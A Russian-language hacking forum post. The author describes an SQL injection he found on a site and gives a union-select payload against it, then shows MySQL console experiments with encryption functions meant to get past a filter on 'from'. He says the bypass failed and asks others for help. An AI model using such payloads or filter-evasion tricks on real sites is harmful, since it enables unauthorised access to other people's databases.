Капался на просторах интернета и наткнулся на скул. Инъекция, как инъекция, даже ковычки не экранируются, но вот косяк, что фильтруется слово from. Ну и стал думать, как можно обойти фильтрацию. Долго не думал, потому что нечто подобное уже делали с пхп. Надо как-то зашифровать и потом расшифровать строку. Чем я и занялся. Покопался на разных ресурсах по MySQL и нашел несколько функций кодировки/декодировки строк. Начал экспериментировать. На моё удивление получилось следующее:
при подстановке
PHP код:
-1+union+select+des_encrypt(database(),'3')+/*
выводилась строка "яcЌцI{ПџwЊ)яVeЖ…" далее подставляя
На экране появлялась версия дб...
Поэкпериментировав на локальном серве денвера получил следующее
PHP код:
mysql> select aes_encrypt(version(),'12');
+-----------------------------+
| aes_encrypt(version(),'12') |
+-----------------------------+
| └/Ь0⌂Ва{ў_wВ╢ьДО |
+-----------------------------+
1 row in set (0.00 sec)
mysql> select aes_decrypt('└/Ь0⌂Ва{ў_wВ╢ьДО','12');
+--------------------------------------+
| aes_decrypt('└/Ь0⌂Ва{ў_wВ╢ьДО','12') |
+--------------------------------------+
| 4.1.16-max |
+--------------------------------------+
1 row in set (0.00 sec)
mysql> select ENCODE(user(),'2');
+--------------------+
| ENCODE(user(),'2') |
+--------------------+
| рL♂3М▬Яч╣,↓Gєs |
+--------------------+
1 row in set (0.00 sec)
mysql> select decode('рL♂3М▬Яч╣,↓Gєs','2');
+------------------------------+
| decode('рL♂3М▬Яч╣,↓Gєs','2') |
+------------------------------+
| ODBC@localhost |
+------------------------------+
1 row in set (0.00 sec)
mysql>
Главное не потерять ни одного символа. Но цели я своей так и не добился, нифига пока не обошёл фильтрацию...Вот собственно вопрос: КАК?!!??! Как это можно использовать?